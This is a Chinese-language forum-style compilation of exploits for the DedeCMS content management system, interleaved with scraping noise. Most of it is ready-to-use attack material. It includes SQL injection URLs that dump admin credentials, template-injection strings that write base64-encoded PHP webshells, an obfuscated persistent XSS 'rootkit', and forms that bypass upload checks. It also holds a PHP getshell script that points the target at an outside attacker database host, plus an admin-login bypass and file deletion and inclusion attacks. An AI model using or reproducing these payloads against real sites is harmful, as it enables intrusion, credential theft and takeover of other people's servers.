dedecms漏洞总结

admin

8 R$ X/ U& v3 FDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 a; B7 F( H/ C+ \' x
( y1 K2 h$ T0 J! n& r- P

  d9 Y3 h- w2 p1 K0 R# j

7 ~% O! H- S' |7 |5 r% F) {: x
( J* y; a* g% ]9 p; C6 w; Z4 b$ \0 ^

DedeCms v5.6 嵌入恶意代码执行漏洞
8 N+ L* I4 R0 ], u$ Y注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
+ i0 o) H* O& E8 G7 R: ga{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


; o+ G2 D& N. v) V6 R8 I$ G



7 R" }; D- ^2 U1 v+ [) w

* i! ~, i. m% w8 r! _, sDede 5.6 GBK SQL注入漏洞
1 O& @: k/ p# u+ phttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
2 {$ @" V& A, E5 d6 J1 Ihttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


5 r- |: O  Z$ K0 M/ F- _8 _0 E



- L" S& B$ ~" n

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
, r4 s0 Z: q$ s+ L$ @: ohttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

$ Z  q+ }' i3 J$ {2 \8 u) c' `




DEDECMS 全版本 gotopage变量XSS漏洞
' O( Z( B. F9 N  I+ k, g( y* `1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
% f+ }: U& }- O- }9 k' f! J+ Nhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
) W. B. w. Y" N) c+ `
* |; H% P) W! M: g+ y
8 v+ A( T. {6 Y0 m: Q0 _2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
3 [8 ^3 y# h5 hhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


6 S4 X5 }0 D# l* e3 N1 Rhttp://v57.demo.dedecms.com/dede/login.php

9 @. S2 _# \7 c& ]3 R! Q; t
* J" G* o% v8 X1 y6 N# n6 b0 {color=Red]DeDeCMS(织梦)变量覆盖getshell
  \/ q8 ^% g; ~) ~) A+ f#!usr/bin/php -w
<?php
0 [* ^7 n: J; V+ @: _: @2 A$ j4 E+ Zerror_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
! }/ x8 m) B/ \) qExploit Author: www.heixiaozi.comwww.webvul.com
0 ?+ h6 t) x% O& n  Z9 R; `);
echo "\r\n";
if($argv[2]==null){
1 K- v4 y* D# i; ~' R' @print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
- u; S0 B3 D7 J& g5 g8 N$ eaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
* F( ?& t0 l$ m+ K+ ~0 ], zphp '.$argv[0].' www.site.com 1 old
5 u. W& _0 J) |+ O/ b+---------------------------------------------------------------------------+
! m, F, ]" |! x2 m5 U: _' o, h# |');
exit;
% s9 v* t  J& Z6 X" A! {# V- u! r# Y2 B}
/ y% L/ Y: k0 n  o4 F& s$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
9 T# z; }, j* n2 o: O9 G; Z& K, J  X$exp=Getshell($url,$aid,$path);
! n4 l0 [! R- _6 ]+ \& `if (strpos($exp,"OK")>12){
  c$ }' A4 ^* i. T8 Recho "
Exploit Success \n";
if($aid==1)echo "
9 ?5 W: n6 [9 BShell:".$url."/$path/data/cache/fuck.php\n" ;
. N1 ?" g, s8 Z9 c- G- T3 y
: {2 r: ^8 @5 _7 \
if($aid==2)echo "
3 E+ [7 V' p3 s/ {( r9 QShell:".$url."/$path/fuck.php\n" ;
1 L+ l7 l, f( ?
) V2 G# k5 l3 }( Z5 h
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


0 d6 B5 B8 W( i/ v2 J}else{
echo "
. N- V" V8 V% f6 cExploit Failed \n";
}
/ G0 u9 h) U8 |( e$ }5 yfunction Getshell($url,$aid,$path){
+ T) Z8 s3 Q) Z# A1 o- B+ {) Q! n$id=$aid;
, {- R8 k# a; ]0 n' z0 w7 ~' Q$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
2 d% q8 E- w' @3 L! W; C  R$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
  n. Z& p/ a' y: O: K( `$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
3 g+ z: k, M1 h! Z$ M//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
- a- \  D: F, n- L2 u% q$ ?, V, j$data .= "Connection: keep-alive\r\n";
  \2 {% U/ m/ p/ S% X9 P' t3 Y# p$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
+ j2 M  t/ W* v- @& v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
3 [- X; t5 n+ x# p, M) H$ock=fsockopen($host,$port);
2 Y' U) L! c2 P7 vif (!$ock) {
echo "
No response from ".$host."\n";
}
, J* S6 O; m4 c3 z" |fwrite($ock,$data);
- i' W3 X, l7 z( l, Q) N5 ywhile (!feof($ock)) {
$exp=fgets($ock, 1024);
; L, X, l8 Y. g% H/ P- i0 s! Oreturn $exp;
# u) n4 M- c! P% N. A$ [}
3 w5 N- }7 ?6 \" T, s}
# C2 a" h/ k* q7 @* X1 w

?>

+ d  s! d) u" m/ t4 h% S: P
0 O- v. g. i8 a
' Y! U* B3 g! D2 e3 d, S% J8 N6 ?, z

; n7 r/ k2 `( ~& E) M# A6 \

. ]6 w) M% a2 ^+ R7 h# }

! K) J2 U4 F; H* t1 [% C0 g
* M9 D( U2 O) G1 u4 G8 }DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
+ O* V8 @: L4 o4 B
- R" \& t5 p7 j# e
把上面validate=dcug改为当前的验证码，即可直接进入网站后台

; [, U' [# k$ V# `5 ?4 `) B  }6 E% w
! g( x8 j9 ~* E2 q5 c此漏洞的前提是必须得到后台路径才能实现
/ U2 E! E: F3 ?! l. F6 e
3 C: Q3 _6 ~; _: @* ~, G& d; N
/ j; K, e/ a1 K# W; s/ b


  M, ?! F0 o0 \  U2 a3 O' m1 s2 i4 h
' a/ s* v( W+ ^9 C5 S' K


3 ]' F8 k5 c0 u' v" j
Dedecms织梦 标签远程文件写入漏洞
* z0 q( ?' N) S( ~% e0 f" G前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
% l9 k" |2 F% g3 ^  H& H" A/ s

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
$ Z/ v& o" b8 j<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
' c" I" E2 Q. u* U( X4 O<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
; B" {" c1 _- i  I<input type="text" value="true" name="nocache" style="width:400">
; N3 E- B+ o& u& P1 D. a; C- r<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
, T% C% G4 N/ z* A. S( kfunction addaction()
{
3 [0 V$ u8 ^- J4 A! adocument.QuickSearch.action=document.QuickSearch.doaction.value;
4 y  |& t# i* S7 S2 g. |- Z: a/ v}
9 J1 F( Q8 i0 H( \" B! f4 Q</script>
2 I; ^6 K/ b; o$ l) D. \! K+ Y



! D* g- j3 a% ~. \
0 R* ]+ B( I6 q! u6 z

+ R8 I' t) ^) U" D1 X* m
6 u3 u; M; O& L% w
  I7 N- Q( i: O' E; i: S( D
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
. I" ~% F  ~+ w! X. w注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
! v% t' h' p; Z' A4 m2 N) E' Euploads/userup/2/12OMX04-15A.jpg
6 k2 K9 b. x' \& E. |  A+ ~+ Y

$ V& w  N  b4 x模板内容是（如果限制图片格式，加gif89a）：
8 L- V9 h9 M* m% S) w  |7 [{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
- E$ l- N' j6 n@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
0 ~8 s/ _# F- [) @! K@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
) P  Q: e1 Z# D. f7 ]<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
, D8 s7 w9 i) c. [4 C$ G<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
2 c6 d: d  s* r/ A' K1 ]6 x<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


: h4 n; o% I5 W* x  v5 ], w5 i0 J<div id="mainCp">
+ B! W0 U# u5 c<h3 class="meTitle"><strong>修改文章</strong></h3>


" i& a3 l' E) u5 |<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
/ I8 b* J; F3 B4 {2 o( F
) ~7 S* B: k' t. O4 R+ V
  ]* g6 M/ K+ I6 ^! L& C9 L<label>标签TAG：</label>
2 d' P* o: _: X: C2 \1 k9 C7 s  Q<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

+ M% s: @2 ?* k- s" C7 G
6 Q+ n: ^5 F6 B9 \3 N<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
! J) U1 B' R9 Y2 u1 B3 S9 l. L# j</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
6 `" j7 x% ?# s- \" b9 C
, ]( B$ r+ S% s  g
<label>我的分类：</label>
/ s$ j' D4 H5 ]! m9 h<select name='mtypesid' size='1'>
) y+ i8 ?4 d. A<option value='0' selected>请选择分类...</option>
: K6 L% N9 y9 l6 {<option value='1' class='option3' selected>hahahha</option>
</select>
5 M3 v/ W7 X. a8 j9 x
8 f; R- ~  m: F' P  x
3 _+ p# m0 g+ W* r' \<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
+ V+ v( Z" ^; x6 e2 i' s2 a1 b1 b; D(内容的简要说明)
1 T, S: Z+ z$ Y- G9 \

9 Z1 E" ~/ \; v2 F3 Y8 f" X<label>缩略图：</label>
! }$ B* C- Z: R# e% n0 @% f<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

) V2 l( d" U6 o4 L# P8 P
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
5 M' r* C% N# x

- w7 u8 J0 x" u1 J. }<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
5 X, F0 n' |% X2 J# A

) d- c) M) g, |1 ^<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
& J% [# S9 u1 f* e$ _4 b<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
) L2 w& J9 ^2 \4 M& _
3 U" e7 m( n% Y! [* Y# Y8 X: L& R
<button class="button2" type="submit">提交</button>
  \( j6 l" }+ C2 r<button class="button2 ml10" type="reset">重置</button>
3 D+ J+ D% w; J$ R</div>

; e$ d& {, h% J* U6 L5 N% ?5 |
# ]& P) E( b$ t6 g5 T, F" Z" P</div>

' D8 g$ h) h6 J
</form>
/ c2 k  t+ a" w7 h' V8 y' b

, ?: M3 L6 r  K2 C8 H& S( |; `提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
/ @. B, H7 Y" chttp://127.0.0.1/dede/plus/view.php?aid=2
3 k! b" ~; b) O; n* M* X, h" R- g即可以在plus目录下生成webshell：1.php
4 g; ^% S+ I  s8 _2 h- X2 ?

% h4 G3 Y3 x* _8 G1 f* c8 ~

, d' O: e& m5 U% O8 q! ]


- d- P2 b. u4 L/ \1 U+ u
2 f7 q% B! H& @& Z# I  \
0 z% Q" y8 W# c* b3 j


) r3 E2 k7 d. w; \# Z; A8 o# |) s& bDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
; y# T# c# m. B$ a, {phpinfo();
' J1 R7 J" m! s! D{/dede:field}
保存为1.gif
; U" T) s' w5 Q  o; J<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
) A+ v1 A* V4 t  ?<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
9 Z" n9 ^0 X- }5 R, T" O6 {" J<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
" ^$ |: q% Q* U</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
+ f& ?, Y) W# N) P

8 u7 k# o* J* i<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
" n* I4 h0 ?& _+ O& c; J: i0 c<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
3 F+ i* q8 e' C, Z8 r<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
4 I: W( ?6 r' D1 U4 B- |, P<option value='0' selected>请选择分类...</option>
- c, p5 h1 i8 ]. E6 v<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
! O. h/ K1 L9 i4 ^: ?' I; h2 k' ^<button class="button2" type="submit">提交</button>
</form>
: j: Q/ q* ]8 Q- {


3 B( h) \; k2 Q+ c6 a* S: A& |8 c7 B

& T' t/ \; e" U4 M( ]* j+ ~' Y

! ?' n. x1 F! v$ _1 X


: y, k7 I8 m9 u" I$ Q5 n

织梦(Dedecms)V5.6 远程文件删除漏洞
0 d# g7 Y, ]6 H* @2 C6 Y0 Y' ohttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
) R* a) X7 |- r, z) E  o. n7 ~

# q2 e+ n7 b# R9 j* M: ^& N





5 @" `7 X8 ]: y

& @- y1 X9 q6 X织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../



7 V) T% [& k. w1 z# h

  [! K# t/ I; R4 u. D
# E9 w! |3 p% e+ V4 G
. c' Y* V/ y/ p# p; l, S: X# o2 s
* r5 c; U7 A" q  Z) `5 U  d
. t5 m0 x) J. C% g& O. k/ x
% E* T  T5 W4 b$ O* Y' |& PDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
* d2 C- |/ T9 ]5 S* `plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
, ]9 Q. `1 r, w  f* ~密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5


- a0 N# k" v$ ^

# g7 B! _2 E1 Q5 S7 b

* s/ x8 `, U. d/ b: i

0 ?7 s  J) M) r. I7 t' k' M
0 M9 \7 h) x3 ]+ z
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

5 _( c% R- n6 H! Q7 [  k
5 d3 P8 Y4 |6 g7 S



# I+ ]! s3 v8 P0 r  M: o+ ^


) b( ^/ v$ B( R% G5 U) R
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
6 G' {. i5 T3 M: @" W<body style="FONT-SIZE: 9pt">
% r3 M5 S  c* D( W: ?---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
  ?) X+ F: U1 A1 T' f  K<input type='hidden' name='activepath' value='/data/cache/' />
' D4 O. y9 R+ D- e<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
4 y/ }* [5 e; E  E<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
  E, ]& Q9 @, u8 c8 u7 }9 ~' R<input type='hidden' name='f' value='form1.enclosure' />
! K$ D9 O* B0 w; G7 F+ w<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
+ v+ o0 E' f0 Z+ y4 F+ n* F' D% l5 u</body>
</html>

* I/ I* s7 m" h. j) h# s

3 Y% P, J. v" K3 N  m6 |, P6 m6 M
. K# p) T& @4 m9 c) ?- A
" f( i1 A  M+ q5 I2 j. n
  o) H5 ]) H5 A& ~$ P: B

) M/ `$ t1 j6 k& o/ F- P/ p

. _# a6 D( }0 S/ T, C' B织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1 O. o% g0 U2 H. t7 m/ V7 t4 G1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
% ]) N( {$ e4 \' @3 P5 |可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
: S' b) [* w: n, A4 qint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


6 Y! d0 Y9 Q# S9 D7 b3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
" ?. }( |8 T* L5 c& O  G

& o: t9 `! r+ F<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

$ r" M. U( f  X5 m
按确定后的看到第2步骤的信息表示文件木马上传成功.
. K/ c+ X9 t/ ~% l! p9 T8 p
$ C2 B6 P" e; }8 c  |- T
7 o' l* a2 e# z3 h, T% ?- ^9 a




& E2 i8 W3 x# \, w5 h$ S

0 @- e9 Z9 s7 |9 X+ C

0 j4 d& D' V& z& x1 \
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*